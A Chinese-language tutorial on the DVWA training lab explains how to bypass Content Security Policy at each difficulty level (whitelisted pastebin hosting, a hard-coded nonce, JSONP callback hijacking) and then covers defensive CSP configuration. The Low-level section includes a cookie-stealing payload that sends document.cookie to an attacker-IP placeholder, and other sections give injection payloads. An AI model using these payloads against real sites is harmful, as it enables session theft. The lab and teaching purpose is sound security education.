DVWA从入门到精通(十四):CSP Bypass(内容安全策略绕过)

DVWA从入门到精通(十四):CSP Bypass(内容安全策略绕过)
摘要本文是《DVWA从入门到精通》系列的第十四篇带你全面掌握CSP Bypass内容安全策略绕过模块的攻防全流程。从CSP的设计初衷与核心原理出发逐步讲解Low、Medium、High三个级别的攻击手法与源码分析并深入探讨Impossible级别的终极防御方案。文章包含白名单滥用的外部资源托管攻击、硬编码Nonce的绕过、unsafe-inline的危害、JSONP回调劫持等高阶技术以及严格的Nonce策略、CSP配置最佳实践等企业级防御策略让你真正做到“知其然更知其所以然”。一、什么是CSP内容安全策略1.1 CSP的设计初衷CSPContent Security Policy内容安全策略是浏览器提供的一种安全防御机制用于检测和缓解跨站脚本攻击XSS以及其他代码注入攻击。用一个生活化的例子来理解想象你经营一家高档酒店。以前你靠门口的保安输入过滤来辨别客人身份——客人进门时保安会检查他的证件过滤特殊字符。但总有人能伪造证件混进来。有一天你决定改变策略你给所有真正的员工和合作伙伴每人发了一张特制的门禁卡并且明确告诉保安——“只有持有这种门禁卡的人才能进入酒店其他人一律不准进”。这就是CSP的思路。CSP不再依赖“检查输入是不是坏的”而是建立了一个白名单——只允许来自特定来源的资源被加载和执行。开发者通过配置告诉浏览器“我只信任这些来源其他的一律不要”。从技术角度来看CSP是一种声明机制允许Web开发者在其应用程序上指定多个安全限制由浏览器来负责强制执行。它的核心思想是白名单制度——开发者明确告诉客户端哪些外部资源可以加载和执行。CSP通过HTTP响应头或HTML的meta标签来传递策略规则。当浏览器接收到这些策略后会只执行或渲染符合策略的资源违反策略的行为会被阻止并报告。1.2 常见的CSP指令CSP通过一系列指令来定义安全策略指令作用示例default-src默认允许加载的资源来源default-src selfscript-src限制可执行脚本的来源script-src self https://trusted.comstyle-src限制可应用的样式表的来源style-src cdn.example.orgimg-src限制可加载的图像的来源img-src self data:connect-src限制可建立网络连接的来源connect-src api.example.comfont-src限制可加载的字体文件的来源font-src selfframe-src限制可以嵌入页面的框架的来源frame-src nonereport-uri指定将安全违规报告发送到的URLreport-uri /csp-report1.3 启用CSP的两种方法方法一通过HTTP响应头最常用?php $headerCSP Content-Security-Policy: script-src self;; header($headerCSP); ?方法二通过HTML meta标签meta http-equivContent-Security-Policy contentscript-src self; object-src none;1.4 什么是CSP BypassCSP Bypass内容安全策略绕过是指攻击者通过各种技术手段绕过CSP的限制在受保护的网站上执行恶意JavaScript代码。重要理解CSP Bypass模块中展示的漏洞并不是CSP协议本身的漏洞而是开发者在实现CSP时犯的错误。CSP本身是一个强大的安全机制但配置不当或实现缺陷会让它形同虚设。DVWA的CSP Bypass模块展示了三种常见的CSP配置缺陷级别CSP配置缺陷绕过方法Low白名单过于宽泛信任了太多外部域名在受信任的网站上托管恶意脚本Medium使用了硬编码的Nonce unsafe-inline利用静态Nonce注入内联脚本High仅允许self但存在JSONP接口通过JSONP回调执行任意代码二、准备工作2.1 靶场环境确保DVWA已部署并正常运行访问地址http://你的服务器IP/dvwa/login.php使用admin/password登录2.2 必备工具工具用途浏览器Chrome/Firefox访问靶场F12开发者工具查看Network面板中的CSP头Burp Suite抓包分析HTTP响应头中的CSP策略文本分享网站Pastebin等用于托管恶意脚本Low级别2.3 基础知识储备了解XSS跨站脚本攻击的基本原理理解HTTP响应头的概念了解JSONP的基本原理High级别三、Low级别白名单过于宽泛的“信任危机”3.1 安全级别设置将DVWA Security设置为Low级别然后进入CSP Bypass模块。3.2 界面观察CSP Bypass模块的界面包含一个输入框和一个“Include”按钮。页面上方提示“You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here”你可以包含来自外部源的脚本检查内容安全策略然后在此处输入要包含的URL。3.3 查看CSP策略方法一查看页面源码点击“View Source”可以看到PHP代码中定义的CSP策略方法二使用浏览器开发者工具按F12打开开发者工具切换到Network标签刷新页面查看响应头中的Content-Security-Policy字段。3.4 源码分析查看Low级别的完整核心代码?php $headerCSP Content-Security-Policy: script-src self https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com unpkg.com cdn.jsdelivr.net digi.ninja ;; // allows js from various trusted locations header($headerCSP); # These might work if you cant create your own for some reason # https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js # https://unpkg.com/digininja/csp_bypass1.0.0/index.js ? ?php if (isset ($_POST[include])) { $page[ body ] . script src . $_POST[include] . /script ; } $page[ body ] . form namecsp methodPOST pYou can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:/p input size50 typetext nameinclude value idinclude / input typesubmit valueInclude / /form p You will probably need to do some reading up on what some of the domains allowed by the CSP do and how they can be used. /p ;Low级别的CSP策略分析策略项含义风险self允许从当前域名加载脚本安全https://pastebin.com允许从pastebin.com加载脚本⚠️高风险hastebin.com允许从hastebin.com加载脚本⚠️高风险example.com允许从example.com加载脚本⚠️高风险code.jquery.com允许从jQuery CDN加载脚本相对安全https://ssl.google-analytics.com允许从Google Analytics加载脚本相对安全漏洞本质Low级别的漏洞在于CSP白名单中包含了用户可以自由上传内容的网站如pastebin.com、hastebin.com。这些网站允许任何人上传任意内容包括恶意JavaScript代码。当CSP信任了这些网站攻击者只需要在pastebin.com上上传恶意JavaScript代码获取该代码的原始链接raw URL在DVWA的输入框中提交该链接浏览器从pastebin.com加载并执行恶意代码——因为pastebin.com在CSP白名单中3.5 攻击方法利用受信任的外部网站托管恶意脚本第一步在Pastebin上创建恶意脚本访问https://pastebin.com或白名单中的其他网站创建一个新的Paste文本片段内容为alert(CSP Bypass - Low Level Success!);或者更实用的Payload——窃取Cookievar img new Image(); img.src http://攻击者IP:8000/steal?cookie document.cookie;点击“Create New Paste”创建。第二步获取Raw链接在Pastebin上找到“Raw”按钮。完整的Raw链接通常格式为第三步在DVWA中注入链接回到DVWA的CSP BypassLow级别页面在输入框中粘贴Raw链接点击“Include”提交。第四步观察结果页面立即弹出弹窗显示“CSP Bypass - Low Level Success!”——攻击成功注意由于网址不太稳定可能不会有弹窗的效果所以可以通过本地进行测试csp的规则中有self所以可以加载本身的文件所以我们可以在搭建靶场的这个服务器上创建一个js文件输入alert(CSP Bypass - Low Level Success!);然后在输入框输入http://靶机IP/test.js观察弹窗效果3.6 攻击原理深度分析从技术角度看攻击成功涉及以下几个关键步骤策略解析浏览器收到CSP头后解析script-src指令建立允许加载脚本的来源列表链接提交用户通过表单提交一个URL该URL被拼接到script src...标签中来源匹配浏览器检查该URL的域名是否在CSP白名单中脚本加载域名匹配成功浏览器从该URL加载并执行脚本关键点CSP只检查脚本的来源域名而不检查脚本的内容。因此只要恶意脚本托管在受信任的域名上CSP就会允许它执行。3.7 Low级别总结缺陷说明白名单过于宽泛包含了用户可以自由上传内容的网站信任外部用户生成内容pastebin.com等网站不验证上传内容的合法性无内容验证只检查来源域名不检查脚本内容高危漏洞攻击者可利用受信任网站托管并执行任意恶意脚本四、Medium级别硬编码Nonce的“虚假安全感”4.1 安全级别设置将DVWA Security切换为Medium级别。4.2 观察变化在Medium级别下尝试Low级别的方法在输入框中提交外部脚本链接发现被阻止了——CSP策略发生了变化。4.3 查看CSP策略使用浏览器开发者工具查看Medium级别的CSP响应头4.4 源码分析查看Medium级别的核心代码?php $headerCSP Content-Security-Policy: script-src self unsafe-inline nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA;; header($headerCSP); // Disable XSS protections so that inline alert boxes will work header (X-XSS-Protection: 0); # script nonceTmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXAalert(1)/script ? ?php if (isset ($_POST[include])) { $page[ body ] . . $_POST[include] . ; } $page[ body ] . form namecsp methodPOST pWhatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up./p input size50 typetext nameinclude value idinclude / input typesubmit valueInclude / /form ;Medium级别的CSP策略分析策略项含义风险self允许从当前域名加载脚本安全unsafe-inline允许内联脚本⚠️高风险nonce-...允许包含特定Nonce的内联脚本⚠️Nonce是硬编码的4.5 Nonce机制的原理NonceNumber used once一次性数字是CSP中用于允许特定内联脚本执行的机制。正常的工作流程服务器生成一个随机的一次性值Nonce服务器将这个Nonce放在CSP头中script-src nonce-RANDOM_VALUE服务器在HTML中为内联脚本添加相同的Nonce属性script nonceRANDOM_VALUEalert(1)/script浏览器比对两者是否一致一致则执行脚本正确的Nonce应该是每次请求都不同随机生成无法被攻击者预测4.6 Medium级别的漏洞Medium级别存在两个严重的配置错误错误一Nonce是硬编码的nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA这个Nonce值每次请求都相同攻击者可以直接复制这个值在自己的注入Payload中使用。错误二冗余保留unsafe-inlineCSP 策略中多余写入unsafe-inline按照现代浏览器 CSP 规范存在 nonce 时浏览器会自动忽略该字段不会放开裸内联脚本该字段仅用于兼容老旧浏览器属于不合理、多余的危险配置增加老旧环境下的攻击面。额外问题禁用了X-XSS-Protection移除了浏览器内置的XSS防护层。4.7 攻击方法利用硬编码 Nonce 实现 CSP 绕过Payload 能否执行的核心关键是页面写死固定 Nonce。第一步构造注入Payload页面存在输入框可以直接注入script nonceTmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA alert(CSP Bypass - Medium Level via Nonce!); /script第二步观察结果弹窗出现——攻击成功页面 Nonce 值永久固定不变攻击者可直接复制复用携带匹配 nonce 属性的脚本能够通过 CSP 校验正常执行。4.8 Medium级别总结缺陷说明Nonce 硬编码Nonce 值每次请求完全一致攻击者可直接复制复用是绕过 CSP 的根本原因冗余配置 unsafe-inline存在 nonce 时现代浏览器自动忽略该配置仅老旧浏览器会生效扩大旧环境攻击面禁用 X-XSS-Protection关闭浏览器自带 XSS 过滤消除一层辅助安全防护多重缺陷叠加固定 Nonce 为核心突破口搭配多余危险配置、浏览器防护关闭整体 CSP 防御彻底失效五、High级别JSONP回调的“信任危机”5.1 安全级别设置将DVWA Security切换为High级别。5.2 观察变化在High级别下CSP策略变得更加严格——只允许从self加载脚本。5.3 查看CSP策略使用浏览器开发者工具查看High级别的CSP响应头这是一个非常严格的CSP策略——只允许从当前域名加载脚本不允许任何外部资源也不允许内联脚本。5.4 源码分析查看High级别的核心代码// high.php ?php $headerCSP Content-Security-Policy: script-src self;; header($headerCSP); ? ?php if (isset ($_POST[include])) { $page[ body ] . . $_POST[include] . ; } $page[ body ] . form namecsp methodPOST pThe page makes a call to . DVWA_WEB_PAGE_TO_ROOT . /vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code./p p12345span idanswer/span/p input typebutton idsolve valueSolve the sum / /form script srcsource/high.js/script ; // high.js function clickButton() { var s document.createElement(script); s.src source/jsonp.php?callbacksolveSum; document.body.appendChild(s); } function solveSum(obj) { if (answer in obj) { document.getElementById(answer).innerHTML obj[answer]; } } var solve_button document.getElementById (solve); if (solve_button) { solve_button.addEventListener(click, function() { clickButton(); }); }High级别的设计页面中的high.js会向jsonp.php发起一个请求并传递一个callback参数/jsonp.php?callbacksolveSumjsonp.php会使用callback参数的值来包裹返回的JSON数据。5.5 JSONP的原理JSONPJSON with Padding是一种绕过同源策略加载跨域数据的技术。JSONP的正常工作流程页面需要从另一个域名获取数据页面定义一个回调函数function handleData(data) { ... }页面创建一个script标签src指向API接口并带上callbackhandleData参数服务器返回handleData({key: value})浏览器执行这段代码调用handleData函数JSONP的安全风险如果服务器不对callback参数进行过滤攻击者可以传入任意JavaScript代码作为回调函数名服务器会将其原样返回并执行。5.6 High级别的漏洞High级别的漏洞在于jsonp.php接口允许攻击者控制callback参数的值并且服务器会原样返回这个值。虽然CSP策略非常严格只允许self但jsonp.php是同源的在同一个域名下因此CSP允许加载和执行它返回的脚本。攻击思路攻击者访问jsonp.php接口传入恶意代码作为callback参数服务器返回恶意代码浏览器执行恶意代码——因为它来自同源CSP允许5.7 攻击方法JSONP回调劫持第一步准备工具准备好Burp Suite或其他抓包工具用于拦截和修改HTTP请求。第二步开启拦截打开Burp Suite并开启拦截功能。第三步触发请求在DVWA的CSP Bypass (High)页面点击“Solve the sum”按钮。第四步修改参数Burp Suite会拦截到发往jsonp.php的请求。在请求的URL中找到callback参数将其值修改为你想要执行的JavaScript代码。基础测试将callbacksolveSum修改为callbackalert(Hacked)。放行请求后如果页面弹出Hacked的提示框就说明漏洞存在。窃取Cookie一个更具威胁性的攻击是窃取Cookie。你可以将callback参数修改为callbackalert(document.cookie)这样页面就会弹出当前用户的Cookie信息。第五步验证结果放行修改后的请求观察浏览器是否执行了你注入的代码。5.8 High级别总结防御机制作用绕过方法严格的CSP仅self只允许同源脚本JSONP接口是同源的CSP允许JSONP接口跨域数据获取callback参数可控可注入恶意代码无参数过滤不对callback进行验证传入任意JavaScript代码作为回调六、Impossible级别终极防御方案6.1 安全级别设置将DVWA Security切换为Impossible级别。6.2 源码分析查看Impossible级别的核心代码//impossible.php ?php $headerCSP Content-Security-Policy: script-src self;; header($headerCSP); ? ?php if (isset ($_POST[include])) { $page[ body ] . . $_POST[include] . ; } $page[ body ] . form namecsp methodPOST pUnlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call./ppThe CSP settings only allow external JavaScript on the local server and no inline code./p p12345span idanswer/span/p input typebutton idsolve valueSolve the sum / /form script srcsource/impossible.js/script ----------------------------------------------------------------------------------------- //impossible.js function clickButton() { var s document.createElement(script); s.src source/jsonp_impossible.php; document.body.appendChild(s); } function solveSum(obj) { if (answer in obj) { document.getElementById(answer).innerHTML obj[answer]; } } var solve_button document.getElementById (solve); if (solve_button) { solve_button.addEventListener(click, function() { clickButton(); }); }6.3 Impossible级别的三重防御体系Impossible级别构建了三重防御体系彻底杜绝了CSP绕过第一层严格的CSP策略Content-Security-Policy: script-src self;只允许从当前域名加载脚本不允许任何外部来源也不允许内联脚本。第二层JSONP 接口硬编码固定回调核心防御jsonp_impossible.php后端写死回调函数名为solveSum完全不接收、不使用 URL 传入的 callback 参数攻击者无法篡改回调函数JSONP 劫持通路被封死。第三层注入无法形成有效利用页面虽然存在 POST 参数include可控、可拼接 HTML 注入但即便注入同源script标签也只能加载站点内固定 JS无法自定义回调执行恶意代码不存在能执行恶意 JS 的利用链路。6.4 为什么Impossible级别无法被绕过攻击方式Impossible 级别的防护攻击者能否达成外部第三方恶意脚本托管严格 CSP script-srcself拦截所有跨域 JS❌ 不允许外部域名加载脚本内联脚本注入 XSSCSP 无 unsafe-inline/nonce禁止任何script内联、事件内联 JS❌ 内联脚本直接被浏览器拦截JSONP 回调劫持JSONP 接口硬编码 solveSum 回调不受 GET 参数控制❌ 无法篡改 callback 执行任意函数同源脚本注入利用虽存在用户输入渲染注入点但全站无可控回调入口注入后无法执行恶意逻辑❌ 注入仅能加载固定可信 JS无利用价值三重防护叠加使得CSP Bypass攻击在Impossible级别下完全不可行。七、防御CSP Bypass的最佳实践通过DVWA四个级别的对比我们可以总结出正确配置CSP的最佳实践7.1 必须实施的防御措施措施说明优先级最小化白名单只信任必要的外部来源避免通配符和用户生成内容网站⭐⭐⭐⭐⭐使用Nonce且每次随机生成Nonce必须每次请求动态生成不可硬编码⭐⭐⭐⭐⭐避免unsafe-inline现代 CSP 规范中若 script-src 同时配置动态随机 nonce浏览器会自动忽略 unsafe-inline仅无 nonce/hash 时unsafe-inline 才会放开全部内联脚本。⭐⭐⭐⭐⭐避免unsafe-eval禁用eval()及相关函数⭐⭐⭐⭐⭐严格验证JSONP回调对callback参数进行白名单验证或直接硬编码⭐⭐⭐⭐⭐7.2 推荐的辅助措施措施说明优先级启用report-uri配置违规报告端点监控CSP违规行为⭐⭐⭐⭐使用strict-dynamic信任已通过Nonce或Hash验证的脚本及其依赖⭐⭐⭐⭐分层部署先以报告模式Content-Security-Policy-Report-Only部署逐步收紧⭐⭐⭐⭐启用X-XSS-Protection保留浏览器内置XSS防护作为补充⭐⭐⭐7.3 常见误区在实际开发中以下做法不能有效防御CSP绕过❌白名单中包含用户生成内容网站pastebin.com等网站允许任何人上传内容如Low级别❌使用硬编码的Nonce攻击者可以复制使用如Medium级别❌允许unsafe-inlineCSP 同时存在 nonce 与 unsafe-inline现代浏览器会忽略 unsafe-inline不会让 nonce 失效Medium 可绕过的核心是 nonce 写死而非 unsafe-inline 覆盖 nonce。❌JSONP回调参数未验证攻击者可注入任意代码如High级别❌禁用X-XSS-Protection移除了浏览器内置防护层如Medium级别7.4 正确的CSP配置示例推荐的生产环境CSP配置Content-Security-Policy: default-src self; script-src self nonce-{RANDOM} strict-dynamic; style-src self nonce-{RANDOM}; img-src self data:; font-src self; connect-src self; frame-ancestors none; base-uri self; form-action self; report-uri /csp-report;关键原则Nonce必须每次请求动态生成不使用unsafe-inline和unsafe-eval白名单尽可能小启用违规报告八、CSP与XSS的关系8.1 CSP是XSS的“第二道防线”CSP是防御XSS的重要补充手段但不能替代输入过滤和输出编码。防御层次手段作用第一层输入过滤 输出编码htmlspecialchars()等阻止XSS漏洞本身第二层CSP内容安全策略即使存在XSS漏洞也限制其危害CSP的作用CSP虽然提供了强大的安全保护但它也令eval()及相关函数被禁用、内嵌的JavaScript代码将不会执行。开发者需要花费大量时间分离内嵌的JavaScript代码并做相应调整。8.2 CSP不能替代输入过滤重要提醒CSP是深度防御的一部分而不是唯一的防御手段。即使配置了完美的CSP仍然需要对所有用户输入进行验证和过滤对所有输出进行HTML实体编码使用参数化查询防御SQL注入CSP的价值在于即使开发者在某个地方犯了错误忘记转义某个输出CSP可以作为“最后一道防线”限制攻击的影响。九、CSP Bypass的实战检测思路在实际的渗透测试中如何发现CSP配置缺陷并尝试绕过9.1 检测步骤检查CSP头使用浏览器开发者工具查看Content-Security-Policy响应头分析策略配置白名单包含哪些域名是否有用户生成内容网站Low级别特征是否允许unsafe-inlineNonce是否硬编码Medium级别特征是否存在JSONP接口callback参数是否可控High级别特征尝试绕过根据CSP配置选择合适的绕过方法验证漏洞确认恶意代码是否成功执行9.2 常见CSP绕过手法汇总CSP配置缺陷绕过方法对应级别白名单包含用户生成内容网站在受信任网站上托管恶意脚本Low硬编码Nonce unsafe-inline无法直接裸内联脚本仅携带页面固定 nonce 的脚本可执行Medium仅self 可控JSONP回调JSONP回调劫持High严格的CSP 硬编码回调 无用户输入无法绕过Impossible9.3 自动化工具Google CSP Evaluator在线评估CSP配置的安全性CSP Bypass LabsGitHub上的CSP绕过实验项目十、总结本文系统讲解并实战复现了 DVWA CSP Bypass 全级别漏洞原理与防御规范。本文首先理解了 CSP内容安全策略的核心机制它是一套基于白名单的浏览器安全防护方案通过严格管控脚本、样式、图片等资源的加载来源限制恶意代码执行作为 XSS 攻击的深度防御手段。随后学习了 default-src、script-src、style-src 等核心 CSP 指令并逐级完成四个安全级别的漏洞分析与利用Low 级别因 CSP 白名单信任 pastebin.com 等用户可控站点攻击者可托管恶意外部脚本实现绕过执行Medium 级别存在严重配置缺陷页面 Nonce 值硬编码固定可被直接复用同时冗余配置 unsafe-inline在浏览器策略冲突叠加下导致 CSP 防护彻底失效High 级别虽然启用了最严格的script-src self策略但由于同源 JSONP 接口的 callback 参数完全可控攻击者可劫持回调函数实现代码执行完成 CSP 绕过Impossible 级别通过严格同源 CSP、JSONP 硬编码固定回调、阻断恶意利用链路三重防御即便存在用户输入渲染点也不存在可利用漏洞真正实现无法绕过的安全防御。最后本文总结了 CSP Bypass 的通用防御最佳实践包括最小化资源白名单、每次请求动态随机生成 Nonce、禁止 unsafe-inline/unsafe-eval、严格校验 JSONP 回调、开启违规日志上报等。CSP 是 XSS 防护的重要兜底机制但绝非万能防御错误或冗余的配置会让 CSP 完全失效。通过 DVWA 分级对比学习我们掌握了 CSP 缺陷的检测思路与绕过方法也明确了生产环境的安全配置标准。在实际业务中采用「最小白名单 动态 Nonce 严格 JSONP 校验 关闭危险指令」的组合方案能够构建稳固、合规、可落地的 CSP 安全防线有效抵御大部分次级 XSS 与 CSP 绕过攻击。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。